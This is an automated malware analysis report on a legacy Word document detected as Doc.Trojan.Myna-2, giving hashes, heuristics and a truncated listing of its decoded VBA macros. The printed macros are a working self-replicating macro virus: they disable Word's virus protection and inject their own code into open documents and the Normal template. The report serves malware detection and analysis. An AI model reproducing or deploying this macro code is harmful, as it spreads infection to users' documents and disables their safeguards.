Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f711b0f26247c190…

MALICIOUS

Office (OLE)

39.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 79bb9abd79a59528527a6d5263f94404 SHA-1: cc0028de30755eeee8a586047b71ab1bbc04c386 SHA-256: f711b0f26247c190a7c4b5ea24becfa61b683be5f7d8442e0df08c6991837c7b
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including AutoClose and Document_Open, which are commonly used for malicious purposes. The macros attempt to disable virus protection by setting Options.VirusProtection = False. The script also appears to search for a marker string 'MYNAMEISVIRUS' and attempts to insert code, suggesting it may be a downloader or part of a larger infection chain. The ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Myna-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Myna-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5317 bytes
SHA-256: c58c4ed0014c840e0a263f5373903d1dd1aafd60aea105590bf53ad65e432a34
Detection
ClamAV: Doc.Trojan.Myna-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
'bangongshi99-11-22 8:49:45HP LaserJet 2100 Series PCL 6 on \\FLS1502\HP 2100FLS¹ØÓÚЭµ÷ÄãÁ½µ¥Î»¾­¼ÃÒµÎñ¾À·×µÄ֪ͨ.doc
On Error GoTo out
'bangongshi99-11-22 8:49:45HP LaserJet 2100 Series PCL 6 on \\FLS1502\HP 2100FLS¹ØÓÚЭµ÷ÄãÁ½µ¥Î»¾­¼ÃÒµÎñ¾À·×µÄ֪ͨ.doc
Options.VirusProtection = False
'bangongshi99-11-22 8:49:45HP LaserJet 2100 Series PCL 6 on \\FLS1502\HP 2100FLS¹ØÓÚЭµ÷ÄãÁ½µ¥Î»¾­¼ÃÒµÎñ¾À·×µÄ֪ͨ.doc
Options.SaveNormalPrompt = False
'bangongshi99-11-22 8:49:45HP LaserJet 2100 Series PCL 6 on \\FLS1502\HP 2100FLS¹ØÓÚЭµ÷ÄãÁ½µ¥Î»¾­¼ÃÒµÎñ¾À·×µÄ֪ͨ.doc
Options.ConfirmConversions = False
'bangongshi99-11-22 8:49:45HP LaserJet 2100 Series PCL 6 on \\FLS1502\HP 2100FLS¹ØÓÚЭµ÷ÄãÁ½µ¥Î»¾­¼ÃÒµÎñ¾À·×µÄ֪ͨ.doc
Private Sub Document_Close()

'

Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xItem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xItem.Name = "ThisDocument" Then
    send = xItem.codemodule.countoflines
    aready = xItem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xItem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xItem In NormalTemplate.VBProject.VBComponents
    If xItem.Name = "ThisDocument" Then
    send = xItem.codemodule.countoflines
    aready = xItem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xItem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_New()
'
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xItem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xItem.Name = "ThisDocument" Then
    send = xItem.codemodule.countoflines
    aready = xItem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xItem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xItem In NormalTemplate.VBProject.VBComponents
    If xItem.Name = "ThisDocument" Then
    send = xItem.codemodule.countoflines
    aready = xItem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xItem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_Open()
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 answer = "MYNAMEISVIRUS"
  Options.VirusProtection = False
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1
... (truncated)